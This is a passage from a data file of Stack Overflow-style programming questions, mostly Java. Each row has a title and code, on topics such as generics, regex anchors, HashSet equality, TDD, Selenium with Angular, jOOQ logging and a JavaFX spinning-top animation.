> Saludos ! ! ! < /h3 > '' ;","Mail is being clipped even when is so small , problem with accent in vowels ( a , e , i , o , u to á , é , í , ó , ú )" +Java,"Just to clarify this is NOT a homework question as I 've seen similar accusations leveled against other bit-hackish questions : That said , I have this bit hack in C : I want to convert this to Java . So far what I have is : ( Note it 's inside a bitonic sorting class of mine ... ) Anyhow , when I run this for the same values 33 and 25 , I get 52 in each cases.I know Java 's integers are signed , so I 'm pretty sure that has something to do with why this is failing . Does anyone have any ideas how I can get this 5-op , 32-bit integer log 2 to work in Java ? P.S . For the record , the technique is not mine , I borrowed it from here : http : //graphics.stanford.edu/~seander/bithacks.html # IntegerLogIEEE64Float","# include < stdio.h > const int __FLOAT_WORD_ORDER = 0 ; const int __LITTLE_END = 0 ; // Finds log-base 2 of 32-bit integerint log2hack ( int v ) { union { unsigned int u [ 2 ] ; double d ; } t ; // temp t.u [ 0 ] =0 ; t.u [ 1 ] =0 ; t.d=0.0 ; t.u [ __FLOAT_WORD_ORDER==__LITTLE_END ] = 0x43300000 ; t.u [ __FLOAT_WORD_ORDER ! =__LITTLE_END ] = v ; t.d -= 4503599627370496.0 ; return ( t.u [ __FLOAT_WORD_ORDER==__LITTLE_END ] > > 20 ) - 0x3FF ; } int main ( ) { int i = 25 ; //Log2n ( 25 ) = 4 int j = 33 ; //Log2n ( 33 ) = 5 printf ( `` Log2n ( 25 ) = % i ! \n '' , log2hack ( 25 ) ) ; printf ( `` Log2n ( 33 ) = % i ! \n '' , log2hack ( 33 ) ) ; return 0 ; } public int log2Hack ( int n ) { int r ; // result of log_2 ( v ) goes here int [ ] u = new int [ 2 ] ; double d = 0.0 ; if ( BitonicSorterForArbitraryN.__FLOAT_WORD_ORDER== BitonicSorterForArbitraryN.LITTLE_ENDIAN ) { u [ 1 ] = 0x43300000 ; u [ 0 ] = n ; } else { u [ 0 ] = 0x43300000 ; u [ 1 ] = n ; } d -= 4503599627370496.0 ; if ( BitonicSorterForArbitraryN.__FLOAT_WORD_ORDER== BitonicSorterForArbitraryN.LITTLE_ENDIAN ) r = ( u [ 1 ] > > 20 ) - 0x3FF ; else r = ( u [ 0 ] > > 20 ) - 0x3FF ; return r ; }",Can The 5-Op Log2 ( Int 32 ) Bit Hack be Done in Java ? +Java,"I have read about TDD and I tried it on my new project.I understand that in TDD it is like blackbox testing , ie it matters what rather than how.So , I concluded and stopped testing private methods after reading about it on many posts as it is not correct way.However , I failed to do it due to these reasons.I will show you by example : I have a program that reads a text paragraph so I wrote something like this in my test method ( for tdd step1 ) .So accordingly I made this method to create the RED case.I have written following code : Now the problem is I know beforehand that I will be using countingwords and createCustomParagraph as private methods.So , in that cases should I go with : creating them as public and follow tdd cycle.make them private.delete the tests for them ( as the methods are now private and inaccessible for tests ) .I think this is quite cumbersome and incorrect way to do tdd.I am confused about this.Everyone says write code only after you write a failing test , but here if I know I am going to write a private method then how will I do this ? I request you to correct me if I am wrong somewhere . Also if possible give some real example ... Also , I fear that most of the time I will be editing tests or removing them due to access specifiers problems or refactoring ... Note : This is not a duplicate question . I do n't have good answer for realtime situations.In all examples I have seen , they show only a single class with default or public access specifiers , so they really do n't show how exactly to work in realtime project .","/*My program reads a textual paragraph from file and saves it to my custom paragraph object ; */ public void paragraphMustNotBeNullTest ( ) { File f = new File ( `` some path '' ) ParagraphReader reader= new ParagraphReader ( ) ; reader.read ( ) ; assertNotNull ( `` my custom paragraph is null '' , reader.getCustomParagraph ( ) ) ; } package com.olabs.reader ; import java.io.FileInputStream ; import java.io.InputStream ; import com.olabs.models.OlabsParagraph ; public class Para { private String paragraphText = null ; private Paragraph oParagraph = null ; public Paragraph getCustomParagraph ( ) { return oParagraph ; } public void setoParagraph ( Paragraph oParagraph ) { this.oParagraph = oParagraph ; } public void read ( ) { InputStream is = new FileInputStream ( `` abc ... ... '' ) ; // .. String text = is.read ( ) ; // assume I got text read from file . this.paragraphText = text ; } private void createCustomParagraph ( ) { Paragraph p = new Paragraph ( ) ; p.setText ( paragraphText ) ; p.setId ( 1 ) ; p.setType ( `` Story '' ) ; ... ... ... .. } private void countWords ( ) { // counting words in paragraph logic } }",How to do Test Driven Development right way ? +Java,"Given a perfect binary tree I need to reverse alternating levels : I am trying to use recursion to do a inorder traversal and modify the tree in another inorder traversal.I will be passing the root to the reverseAltLevels ( ) function and from there I will be calling the other func.But I am not able figure out the exact problem with my code , tried debugging in Eclipse , seems OK to me . Original Inorder traversal : Expected Result after modification : My Output :","Given tree : a / \ b c / \ / \ d e f g / \ / \ / \ / \ h i j k l m n o Modified tree : a / \ c b / \ / \ d e f g / \ / \ / \ / \ o n m l k j i h public static void reverseAltLevels ( TreeNode node ) { if ( node == null ) return ; ArrayList < TreeNode > list = new ArrayList < TreeNode > ( ) ; storeAltNodes ( node , list , 0 ) ; Collections.reverse ( list ) ; System.out.println ( ) ; for ( TreeNode n : list ) System.out.print ( n.data + `` `` ) ; modifyTree ( node , list , 0 , 0 ) ; } public static void storeAltNodes ( TreeNode node , ArrayList < TreeNode > list , int level ) { if ( node == null ) return ; storeAltNodes ( node.left , list , level + 1 ) ; if ( level % 2 ! = 0 ) { list.add ( node ) ; } storeAltNodes ( node.right , list , level + 1 ) ; } public static int modifyTree ( TreeNode node , ArrayList < TreeNode > list , int index , int level ) { if ( node == null ) return index ; index = modifyTree ( node.left , list , index , level + 1 ) ; if ( level % 2 ! = 0 ) { node.data = list.get ( index ) .data ; index++ ; } index = modifyTree ( node.right , list , index , level + 1 ) ; return index ; } public static void inOrder ( TreeNode node ) { if ( node == null ) return ; inOrder ( node.left ) ; System.out.print ( node.data + `` `` ) ; inOrder ( node.right ) ; } h d i b j e k a l f m c n g o o d n c m e l a k f j b i g h o d n c m e l a l f m c n g o",Reverse alternate levels of a binary tree +Java,"This question is related to calling scala code from java code.When I include some scala library ( in jar format ) , the return types are often of type scala.collection and other Scala types . When developing in Java ( in Netbeans ) using the scala libraries , I get the following `` error '' when trying to view documentation for the Scala types.what is the best way to include javadocs ( of my code and the scala-library ) in the distributed jars ?",Javadoc not found . Either Javadoc documentation for this item does notexist or you have not added specified Javadoc in the Java Platform Manageror the Library Manager .,How to include javadoc of scala code when distributing library Jars ? +Java,"I have a PlayerCharacter class.PlayerCharacter can be extended ( for example , VampirePlayerCharacter vs WerewolfPlayerCharacter ) I have a Trait class . Trait can be extended ( for example , Generation or Gnosis ) .PlayerCharacter has a method , # withTrait ( Trait ) , which adds the Trait to a collection.PlayerCharacter has a method , # applyAllTraits ( ) which loops through the collection and applies each of them to the character.A VampirePlayerCharacter should be able to be given any Trait that could apply to a PlayerCharacter , as well as any Trait that could only apply to a VampirePlayerCharacter.So I added a generic type , making Trait < PC extends PlayerCharacter > Thus , there can be BasicTrait < PlayerCharacter > and Generation < VampirePlayerCharacter > My conundrum : If PlayerCharacter 's collection of traits is Collection < Trait < PlayerCharacter > > , then VampirePlayerCharacter ca n't add a Trait < VampirePlayerCharacter > to the collection.If PlayerCharacter 's collection of traits is Collection < Trait < ? extends PlayerCharacter > > , then VampirePlayerCharacter can add a Trait < VampirePlayerCharacter > to the collection . However , PlayerCharacter can no longer loop through the traits , because their type is indeterminate ( it could be Trait < PlayerCharacter > or a Trait < VampirePlayerCharacter > or a Trait < WerewolfPlayerCharacter > or ... ) If PlayerCharacter 's collection of traits is Collection < Trait < ? super PlayerCharacter > > , then VampirePlayerCharacter ca n't add a Trait < VampirePlayerCharacter > , because VampirePlayerCharacter is n't a supertype of PlayerCharacterI 'm about a hair's-breadth from saying that more specialized traits just have to use a cast in their apply method and if you set things up inappropriately , they 'll explode- but I 'm certain that this is not a novel problem , and I just ca n't wrap my head around the solution .",class PlayerCharacter { private int str ; List < Trait < ? > > traits = new ArrayList < > ( ) ; PlayerCharacter withStrength ( int str ) { this.str = str ; return this ; } PlayerCharacter withTrait ( Trait trait ) { this.traits.add ( trait ) ; return this ; } void applyTraits ( ) { traits.forEach ( ( Trait < ? > t ) - > t.apply ( this ) ) ; } } class VampirePlayerCharacter extends PlayerCharacter { private int fangLength ; VampirePlayerCharacter withFangLength ( int fangLength ) { this.fangLength = fangLength ; return this ; } } abstract class Trait < PC extends PlayerChracter > { void apply ( PC pc ) ; } class StrengthTrait extends Trait < PlayerCharacter > { private int str ; StrengthTrait ( int str ) { this.str = str ; } void apply ( PlayerCharacter pc ) { pc.withStrength ( str ) ; } } class FangLengthTrait extends Trait < VampirePlayerCharacter > { private int fangLength ; FangLengthTrait ( int fangLength ) { this.fangLength = fangLength ; } void apply ( VampirePlayerCharacter pc ) { pc.withFangLength ( fangLength ) ; } },Java generic fields +Java,"I have a pattern using ^ and $ to indicate beginning and end of line.and input like this : But pattern.matcher ( text ) .find ( ) returns false . Should n't this work ? In the Pattern class documentation , the summary specifies :","Pattern pattern = Pattern.compile ( `` ^Key2 = ( .+ ) $ '' ) ; String text = `` Key1 = Twas brillig , and the slithy toves '' + `` \nKey2 = Did gyre and gimble in the wabe . '' + `` \nKey3 = All mimsy were the borogroves . '' + `` \nKey4 = And the mome raths outgrabe . `` ; Boundary matchers^ The beginning of a line $ The end of a line",Regular expression boundary matchers for beginning of line ( ^ ) and end of line ( $ ) not working +Java,"we have following code on page which has angular ng-if condition.ng-if condition will execute dynamically and pickup tags as per requirements . I have observed on html page that everything is working . I observed following html code after inspecting page.If I print innerHTML of parent element by selenium then I foundAs per my understanding , Selenium DOM is not changed after execution of Angular ng-if condition.Please help me if anyone knows how to tell selenium to execute angular ng-if condition and then look for element .","< p ng-if= '' ! old_email '' style= '' line-height : 20px ; font-weight : normal ; '' > < b > Hi , < /b > < br > < br > We have created a new account with & rsquo ; { { new_email } } & lsquo ; , for you on < br > Plobal Apps to preview and test your app and mailed you the details . Please check your inbox. < /p > < p ng-if= '' new_user & & old_email '' style= '' line-height : 20px ; font-weight : normal ; '' > < b > Hi , < /b > < br > < br > We have created a new account with & rsquo ; { { new_email } } & lsquo ; , for you on < br > Plobal Apps to preview and test your shopify app and mailed you the details . Please check your inbox . < br / > You have been logged out of the previous account with & rsquo ; { { old_email } } & lsquo ; . < /p > < p ng-if= '' existing_user & & old_email '' style= '' line-height : 20px ; font-weight : normal ; '' > < b > Hi , < /b > < br > < br > We have logged you in with & rsquo ; { { new_email } } & lsquo ; , on Plobal Apps to preview and test your shopify app . < br / > You have been logged out of the previous account with & rsquo ; { { old_email } } & lsquo ; . < /p > < ! -- ngIf : ! old_email -- > < ! -- ngIf : new_user & & old_email -- > < ! -- ngIf : existing_user & & old_email -- > < p class= '' ng-binding ng-scope '' ng-if= '' existing_user & amp ; & amp ; old_email '' style= '' line-height : 20px ; font-weight : normal ; '' > < b > Hi , < /b > < br > < br > We have logged you in with ’ suwarnawandhekar46 @ gmail.com ‘ , on Plobal Apps to preview and test your shopify app . < br > You have been logged out of the previous account with ’ test @ plobalapps.com ‘ . < /p > < ! -- end ngIf : existing_user & & old_email -- > < p ng-if= '' ! old_email '' style= '' line-height : 20px ; font-weight : normal ; '' > < b > Hi , < /b > < br > < br > We have created a new account with ’ { { new_email } } ‘ , for you on < br > Plobal Apps to preview and test your app and mailed you the details . Please check your inbox. < /p > < p ng-if= '' new_user & amp ; & amp ; old_email '' style= '' line-height : 20px ; font-weight : normal ; '' > < b > Hi , < /b > < br > < br > We have created a new account with ’ { { new_email } } ‘ , for you on < br > Plobal Apps to preview and test your shopify app and mailed you the details . Please check your inbox . < br > You have been logged out of the previous account with ’ { { old_email } } ‘ . < /p > < p ng-if= '' existing_user & amp ; & amp ; old_email '' style= '' line-height : 20px ; font-weight : normal ; '' > < b > Hi , < /b > < br > < br > We have logged you in with ’ { { new_email } } ‘ , on Plobal Apps to preview and test your shopify app . < br > You have been logged out of the previous account with ’ { { old_email } } ‘ . < /p >",Selenium DOM is not changed after execution of Angular ng-if condition +Java,I have a function that receive an Aggregation aggregation as a param.I would like to get all AggregationOperation from aggregation . Is there any way to do it ? My purpose is new another Aggregation with my custom MatchAggregation .,"public Aggregation newCustomAggregation ( Aggregation aggregation , Criteria c ) { // How to get list operation aggregation there ? listOperation.push ( Aggregation.match ( c ) ) ; return Aggregation .newAggregation ( listOperations ) ; }",Spring Mongo > How to get list AggregationOperations from Aggregation +Java,"Recently I 've added new dependency to project for generating .xls file.pom.xmlCodeUnfortunately it turns on probably jOOQ debug logging which is really bad because it logs all db queries . Application is making big query for .xls , so it should n't log that ( ~1,5GB output in 3min ) .Example of logs","< dependency > < groupId > org.jxls < /groupId > < artifactId > jxls < /artifactId > < version > 2.0.0 < /version > < /dependency > < dependency > < groupId > org.jxls < /groupId > < artifactId > jxls-poi < /artifactId > < version > 1.0.0 < /version > < /dependency > public StreamingOutput createStreamedExcelReport ( Map < String , Object > params , String templateName , String [ ] columnsToHide ) throws Exception { try ( InputStream is = ReportGenerator.class.getResourceAsStream ( templateName ) ) { assert is ! = null ; final Transformer transformer = PoiTransformer.createTransformer ( is ) ; AreaBuilder areaBuilder = new XlsCommentAreaBuilder ( transformer ) ; List < Area > xlsAreaList = areaBuilder.build ( ) ; Area xlsArea = xlsAreaList.get ( 0 ) ; Context context = new PoiContext ( ) ; for ( Map.Entry < String , Object > entry : params.entrySet ( ) ) { context.putVar ( entry.getKey ( ) , entry.getValue ( ) ) ; } xlsArea.applyAt ( new CellRef ( `` Sheet1 ! A1 '' ) , context ) ; xlsArea.processFormulas ( ) ; return new StreamingOutput ( ) { @ Override public void write ( OutputStream out ) throws IOException { ( ( PoiTransformer ) transformer ) .getWorkbook ( ) .write ( out ) ; } } ; } } 08:08:23.094 [ http-bio-8080-exec-7 ] DEBUG org.jooq.tools.LoggerListener - Executing query : select `` XXXXXXXX '' . `` XXX '' , `` XXXXXXX '' . `` XXXXXXX '' from `` XXXXX '' where `` XXXXX '' . `` XXX '' = ? 08:08:23.095 [ http-bio-8080-exec-7 ] DEBUG org.jooq.tools.LoggerListener - - > with bind values : select `` XXXXXXXX '' . `` XXX '' , `` XXXXXXX '' . `` XXXXXXX '' from `` XXXXX '' where `` XXXXX '' . `` XXX '' = 'XXXX.XXXXXXXXXXXXXXXXXXX'08:08:23.098 [ http-bio-8080-exec-7 ] DEBUG org.jooq.tools.StopWatch - Query executed : Total : 4.17ms08:08:23.099 [ http-bio-8080-exec-7 ] DEBUG org.jooq.tools.LoggerListener - Fetched result : + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- + -- -- -- -- -- -+08:08:23.100 [ http-bio-8080-exec-7 ] DEBUG org.jooq.tools.LoggerListener - : |KEY |VALUE |08:08:23.100 [ http-bio-8080-exec-7 ] DEBUG org.jooq.tools.LoggerListener - : + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- + -- -- -- -- -- -+08:08:23.100 [ http-bio-8080-exec-7 ] DEBUG org.jooq.tools.LoggerListener - : |xxxx.XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX|0 0 3 * * ? |08:08:23.100 [ http-bio-8080-exec-7 ] DEBUG org.jooq.tools.LoggerListener - : + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- + -- -- -- -- -- -+08:08:23.100 [ http-bio-8080-exec-7 ] DEBUG org.jooq.tools.StopWatch - Finishing : Total : 6.756ms , +2.586ms",New Maven dependcy turns on jOOQ logging +Java,"I ran into some ( production ! ) code that looks like the snippet below : I would expect this to be subject to all sorts of horrible race conditions , and that a second thread Could possibly enter this block one the new object is created . My Java chops are n't good enough to state definitively the expected behavior of above , so curious what you folks have to say before I refactor this .",synchronized ( some_object ) { some_object = new some_object ( ) },Assigning an object within a synchronized block based on that object ( Java ) +Java,"I have the following class : Now , if I write the following code : I am getting the following output : Please help me in understanding why contains ( ) returns false ( even after equals ( ) and hashCode ( ) return the same value ) and how can I rectify this ( i.e . preventing Java from adding duplicate elements ) . Thanks in advance .","class Point { double x , y ; // ... . constructor and other functions here public boolean equals ( Point p ) { if ( p==null ) return ( false ) ; return ( x==p.x & & y==p.y ) ; } public int hashCode ( ) { int result=17 ; long c1=Double.doubleToLongBits ( x ) ; long c2=Double.doubleToLongBits ( y ) ; int ci1= ( int ) ( c1 ^ ( c1 > > > 32 ) ) ; int ci2= ( int ) ( c2 ^ ( c2 > > > 32 ) ) ; result = 31 * result + ci1 ; result = 31 * result + ci2 ; return result ; } } Point x=new Point ( 11,7 ) ; Point y=new Point ( 11,7 ) ; System.out.println ( `` hash-code of x= '' + x.hashCode ( ) ) ; System.out.println ( `` hash-code of y= '' + y.hashCode ( ) ) ; System.out.println ( `` x.equals ( y ) = `` + x.equals ( y ) ) ; System.out.println ( `` x==y = `` + ( x==y ) ) ; java.util.HashSet < Point > s=new java.util.HashSet < Point > ( ) ; s.add ( x ) ; System.out.println ( `` Contains `` +y.toString ( ) + '' = `` +s.contains ( y ) ) ; s.add ( y ) ; System.out.println ( `` Set size : `` +s.size ( ) ) ; java.util.Iterator < Point > itr=s.iterator ( ) ; while ( itr.hasNext ( ) ) System.out.println ( itr.next ( ) .toString ( ) ) ; hash-code of x=79052753hash-code of y=79052753x.equals ( y ) = truex==y = falseContains ( 11.0,7.0 ) = falseSet size : 2 ( 11.0,7.0 ) ( 11.0,7.0 )",HashSet adds duplicate entries despite implementing both hashCode ( ) and equals ( ) +Java,I am playing around with java8 streams . What do you suggest to make the code above more elegant/readable ?,int testValue ; boolean success = false ; while ( success == false ) { testValue = generateRandomInt ( ) ; success = mySystem.getHosts ( ) .parallelStream ( ) .allMatch ( predicate ( testValue ) ) ; } return testValue ;,Repeat Stream allMatch ( ) until true +Java,"I encountered an interesting issue about String 's matches ( RegExp ) method . The last 3 assertion is failing unexpectedly . I could n't find any reasons why this weird behavior is happening . Do you have the same issue ? Do you have any ideas ? By the way , in case of being asked , my java version is the following .","assertTrue ( `` 33CCFF '' .matches ( `` [ 0-9A-Za-z ] { 6 } '' ) ) ; assertTrue ( `` CC33FF '' .matches ( `` [ 0-9A-Za-z ] { 6 } '' ) ) ; assertTrue ( `` CC3355 '' .matches ( `` [ 0-9A-Za-z ] { 6 } '' ) ) ; assertTrue ( `` CC9955 '' .matches ( `` [ 0-9A-Za-z ] { 6 } '' ) ) ; assertTrue ( `` CC3366 '' .matches ( `` [ 0-9A-Za-z ] { 6 } '' ) ) ; assertTrue ( `` CC3965 '' .matches ( `` [ 0-9A-Za-z ] { 6 } '' ) ) ; assertTrue ( `` CC1961 '' .matches ( `` [ 0-9A-Za-z ] { 6 } '' ) ) ; assertTrue ( `` CC9999 '' .matches ( `` [ 0-9A-Za-z ] { 6 } '' ) ) ; assertTrue ( `` СС3966 '' .matches ( `` [ 0-9A-Za-z ] { 6 } '' ) ) ; // failingassertTrue ( `` СС9965 '' .matches ( `` [ 0-9A-Za-z ] { 6 } '' ) ) ; // failingassertTrue ( `` СС9966 '' .matches ( `` [ 0-9A-Za-z ] { 6 } '' ) ) ; // failing java version `` 1.6.0_26 '' Java ( TM ) SE Runtime Environment ( build 1.6.0_26-b03 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 20.1-b02 , mixed mode )",Strange behavior of String 's matches ( ) method +Java,"I have a row which I need to parse which looks like : @ UNIT , a , b , c , , , ,d , e , , , and I expect Java to store the following values in a list : I want to comma separate the values by comma and replace empty values with null.I archive most of the part with the following code : Where metaObject.unit is defined as List < String > unit = new ArrayList < String > ( ) ; The problem is that Java ignores the empty elements which occure after the last non-empty element . The output I get in the given case is : I do not understand why Java does not threat the empty elements as before . Is there any trick to get this fixed ?","[ 0 ] = > a [ 1 ] = > b [ 2 ] = > c [ 3 ] = > null [ 4 ] = > null [ 5 ] = > null [ 6 ] = > d [ 7 ] = > e [ 8 ] = > null [ 9 ] = > null [ 10 ] = > null metaObject.unit = Arrays.stream ( line .split ( `` , '' ) ) .skip ( line.startsWith ( `` @ UNIT , '' ) ? 1 : 0 ) .map ( String : :trim ) .map ( s - > `` `` .equals ( s ) || `` '' .equals ( s ) || `` _ '' .equals ( s ) ? null : s ) .collect ( Collectors.toList ( ) ) ; [ 0 ] = > a [ 1 ] = > b [ 2 ] = > c [ 3 ] = > null [ 4 ] = > null [ 5 ] = > null [ 6 ] = > d [ 7 ] = > e",Lambda function in Java skips elements +Java,When run the select on Postgres over javaColumn type is Types.OTHER both for COL1 and COL2 . As it is obvious resultset has not any row . But if I have rows in result set using the query below : Type of COL1 is still Types.OTHER but COL2 type is Types.INTEGER . In my case I need Types.VARCHAR and Types.INTEGER even result is empty or not.Are there any configurations on db layer or jdbc url to get Types.VARCHAR and Types.INTEGER both for two queries .,"SELECT `` AS COL1 , 0 AS COL2 FROM MYTABLE 1=2 ; SELECT `` AS COL1 , 0 AS COL2 FROM MYTABLE ;",PostgreSQL returns java.sql.Types.OTHER when i select a constant with AS keyword +Java,"Given an infinite sequence like so ( commas inserted to make pattern more apparent ) : 1 , 1 2 , 1 2 3 , 1 2 3 4 , 1 2 3 4 5 , 1 2 3 4 5 6 ,1 2 3 4 5 6 7 , 1 2 3 4 5 6 7 8 , 1 2 3 4 5 6 7 8 9 , 1 2 3 4 5 6 7 8 9 1 0 , 1 2 3 4 5 6 7 8 9 1 0 1 1 , 1 2 3 4 5 6 7 8 9 1 0 1 1 1 2 , 1 2 3 . . . . . . . . . .I am given an index ( 1 < = index < = 10^10 ) and I need to find what digit is in that index.I have wrote this working code but it is too slow . I have optimized it as much as I can but it 's still not enough . Is there any other way I can make this run faster ? EDIT : Credit to Marian 's method of getting the number of digits in a number . His divide and conquer method which I 've named getNumberOfDigits ( int n ) sped up my program execution a lot . Initially I was converting the number to a String then calling length ( ) and that was taking a lot longer than I expectedEDIT2 : Some sample I/O :",public class Foo { private static Scanner sc = new Scanner ( System.in ) ; private static long input ; private static long inputCounter = 0 ; private static int numberOfInputs ; public static void main ( String [ ] args ) { numberOfInputs = Integer.parseInt ( sc.nextLine ( ) .trim ( ) ) ; while ( inputCounter ! = numberOfInputs ) { input = Long.parseLong ( sc.nextLine ( ) .trim ( ) ) ; System.out.println ( step ( ) ) ; inputCounter++ ; } } public static char step ( ) { int incrementor = 1 ; long _counter = 1L ; while ( true ) { for ( int i = 1 ; i < = incrementor ; i++ ) { _counter += getNumberOfDigits ( i ) ; if ( _counter > input ) { return ( ( i + `` '' ) .charAt ( ( int ) ( input - _counter + getNumberOfDigits ( i ) ) ) ) ; } } incrementor++ ; } } private static long getNumberOfDigits ( int n ) { // 5 or less if ( n < 100 ) { // 1 or 2 if ( n < 10 ) return 1 ; else return 2 ; } else { // 3 or 4 or 5 if ( n < 1000 ) return 3 ; else { // 4 or 5 if ( n < 10000 ) return 4 ; else return 5 ; } } } } 1 : 12 : 13 : 24 : 15 : 26 : 37 : 18 : 29 : 310 : 411 : 112 : 213 : 314 : 415 : 516 : 117 : 218 : 319 : 420 : 521 : 622 : 123 : 224 : 325 : 426 : 527 : 628 : 729 : 130 : 231 : 332 : 433 : 534 : 635 : 736 : 837 : 138 : 239 : 340 : 441 : 542 : 643 : 744 : 845 : 946 : 147 : 248 : 349 : 450 : 551 : 652 : 753 : 854 : 955 : 156 : 057 : 158 : 259 : 360 : 461 : 562 : 663 : 764 : 865 : 966 : 167 : 068 : 169 : 170 : 171 : 272 : 373 : 474 : 575 : 676 : 777 : 878 : 979 : 180 : 081 : 182 : 183 : 184 : 285 : 186 : 287 : 388 : 489 : 590 : 691 : 792 : 893 : 994 : 195 : 096 : 197 : 198 : 199 : 2,How can I optimize this class that solves this math sequence +Java,"I can understand why Total1 is calculated , but as Total2 is calculated I have no idea ! How can a BigDecimal : :add be used in a BiFunction ? Signatures are not the same ! ! !","package br.com.jorge.java8.streams.bigdecimal ; import java.math.BigDecimal ; import java.util.ArrayList ; import java.util.List ; public class BigDecimalSumTest { public static void main ( String [ ] args ) { List < BigDecimal > list = new ArrayList < > ( ) ; list.add ( new BigDecimal ( `` 1 '' ) ) ; list.add ( new BigDecimal ( `` 2 '' ) ) ; BigDecimal total1 = list.stream ( ) .reduce ( BigDecimal.ZERO , ( t , v ) - > t.add ( v ) ) ; BigDecimal total2 = list.stream ( ) .reduce ( BigDecimal.ZERO , BigDecimal : :add ) ; System.out.println ( `` Total 1 : `` + total1 ) ; System.out.println ( `` Total 2 : `` + total2 ) ; } }",Why it works : BigDecimal Sum with Reduce and BigDecimal : :add +Java,"I need to have a variable in a class which is an instance of class `` ClassA '' but which also implements interface `` InterfaceI '' .Obviously this can be done for one or the other easily : but how can I enforce the object both extends ClassA and implements InterfaceB ? Something like : is what I need but I have no idea of the syntax or if it is even possible . I will also need a get and set method , but that can be done with generics ( I think ? ) The obvious solution is However both InterfaceI and ClassA are part of an external libary , this libary has classes which extend ClassA and InterfaceI and I cant edit them to make them extend ClassB , therefore this solution will not work .",private ClassA mVariable ; private InterfaceI mVaraible ; private < ? extends ClassA & InterfaceI > mVaraible ; public class ClassB extends ClassA implements InterfaceI { //whatever here },Member variable which must extend class A and implement some interface +Java,"I 'm observing some weird behavior with Java 8 ( several versions , in particular 1.8.0_111 ) when running a Swing app in a VM . The VM is a Windows 10 machine running in VMware that I am remote-desktoping into . I have not tried to do this with an actual desktop , rather than a VM , but am planning to ASAP to potentially remove an extra failure point.I 've managed to reproduce it with this minimal program : Now if I just start it normally , it repaints , no problems at all , just a frame with 3 empty combo boxes , as expected . The problem appears if I minimize the RDP session window . If that happens ( and the frame was not iconified ) , then Swing starts eating up unhealthy amounts of CPU until I open the RDP window again.I have tried minimizing the code example further , however reducing the combo-box count to 2 , removing the subpanel or setting a single-fire timer ( rather than repeating , even if the repaint would happen while the RDP is minimized ) all prevented the bug from happening . Here 's the CPU utilization graph : http : //i67.tinypic.com/23rwglx.pngI 've tried profiling the application during these spikes to try and see what the hell is happening . Here 's the result from the profiler in JVisualVM : http : //i68.tinypic.com/apdwed.png And the sampler ( after removing the package filter ) : http : //i67.tinypic.com/2071735.pngI could n't readily see what could be eating up the CPU in ProcessingRunnable . Does anyone have any experience with what Swing does when it suddenly has no screen to draw onto ?","public static void main ( String [ ] args ) { SwingUtilities.invokeLater ( ( ) - > { JFrame frame = new JFrame ( ) ; frame.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; JPanel panel = new JPanel ( ) ; for ( int i = 0 ; i < 3 ; i++ ) { JPanel subpanel = new JPanel ( ) ; JComboBox < ? > box = new JComboBox < > ( ) ; subpanel.add ( box ) ; panel.add ( subpanel ) ; } frame.add ( panel ) ; frame.pack ( ) ; frame.setVisible ( true ) ; Timer timer = new Timer ( 1000 , e - > { frame.repaint ( ) ; } ) ; timer.setRepeats ( true ) ; timer.start ( ) ; } ) ; }",Swing using lots of CPU when calling repaint in a minimized RDP session +Java,I wonder if it is possible to uncomment html tags using jsoup for instance change : to,< ! -- < p > foo bar < /p > -- > < p > foo bar < /p >,How to uncomment html tags using jsoup +Java,I have tried the following code snippet : This method returns 5 and not 7 . Why it returns 5 and not 7 ? Thanks in advance .,private Integer getnumber ( ) { Integer i = null ; try { i = new Integer ( 5 ) ; return i ; } catch ( Exception e ) { return 0 ; } finally { i = new Integer ( 7 ) ; } },Return type with try-catch-finally +Java,"It 's Hanukkah and I 'm trying to animate a spinning top ( dreidel ) : I can get it to spin on its own axis . Here is my code : I created a simple model , spinning it around its axis , and translated it so that its tip is on ( 0 , 0 , 0 ) . Here is the result : How can I achieve something similar to the picture on the top where it 's also spinning around a rotating axis ?","import static javafx.scene.paint.Color . * ; import javafx.animation.KeyFrame ; import javafx.animation.KeyValue ; import javafx.animation.Timeline ; import javafx.application.Application ; import javafx.beans.property.DoubleProperty ; import javafx.beans.property.SimpleDoubleProperty ; import javafx.geometry.Point3D ; import javafx.scene.Camera ; import javafx.scene.Group ; import javafx.scene.PerspectiveCamera ; import javafx.scene.Scene ; import javafx.scene.SceneAntialiasing ; import javafx.scene.paint.PhongMaterial ; import javafx.scene.shape.Box ; import javafx.scene.shape.Cylinder ; import javafx.scene.shape.Sphere ; import javafx.scene.transform.Rotate ; import javafx.scene.transform.Translate ; import javafx.stage.Stage ; import javafx.util.Duration ; public class DreidelAnim extends Application { private double bodyBase = 30 ; private double bodyHeight = bodyBase * 3 / 2 ; private double baseRadius = bodyBase / 2 ; @ Override public void start ( Stage stage ) throws Exception { DoubleProperty spinAngle = new SimpleDoubleProperty ( ) ; Rotate spin = new Rotate ( 0 , Rotate.Z_AXIS ) ; spin.angleProperty ( ) .bind ( spinAngle ) ; Timeline spinAnim = new Timeline ( new KeyFrame ( Duration.seconds ( 2 ) , new KeyValue ( spinAngle , 360 ) ) ) ; spinAnim.setCycleCount ( Timeline.INDEFINITE ) ; spinAnim.play ( ) ; Group dreidel = createDreidel ( ) ; Translate zTrans = new Translate ( 0 , 0 , - ( bodyHeight/2 + baseRadius ) ) ; dreidel.getTransforms ( ) .addAll ( spin , zTrans ) ; Scene scene = new Scene ( dreidel , 200 , 200 , true , SceneAntialiasing.BALANCED ) ; scene.setFill ( SKYBLUE ) ; scene.setCamera ( createCamera ( ) ) ; stage.setScene ( scene ) ; stage.show ( ) ; } private Group createDreidel ( ) { double handleHeight = bodyBase * 3/4 ; Cylinder handle = new Cylinder ( bodyBase / 6 , handleHeight ) ; handle.setTranslateZ ( - ( bodyHeight + handleHeight ) / 2 ) ; handle.setRotationAxis ( Rotate.X_AXIS ) ; handle.setRotate ( 90 ) ; handle.setMaterial ( new PhongMaterial ( RED ) ) ; Box body = new Box ( bodyBase , bodyBase , bodyHeight ) ; body.setMaterial ( new PhongMaterial ( BLUE ) ) ; Sphere base = new Sphere ( baseRadius ) ; base.setTranslateZ ( bodyHeight / 2 ) ; base.setMaterial ( new PhongMaterial ( GREEN ) ) ; return new Group ( handle , body , base ) ; } private Camera createCamera ( ) { PerspectiveCamera camera = new PerspectiveCamera ( true ) ; 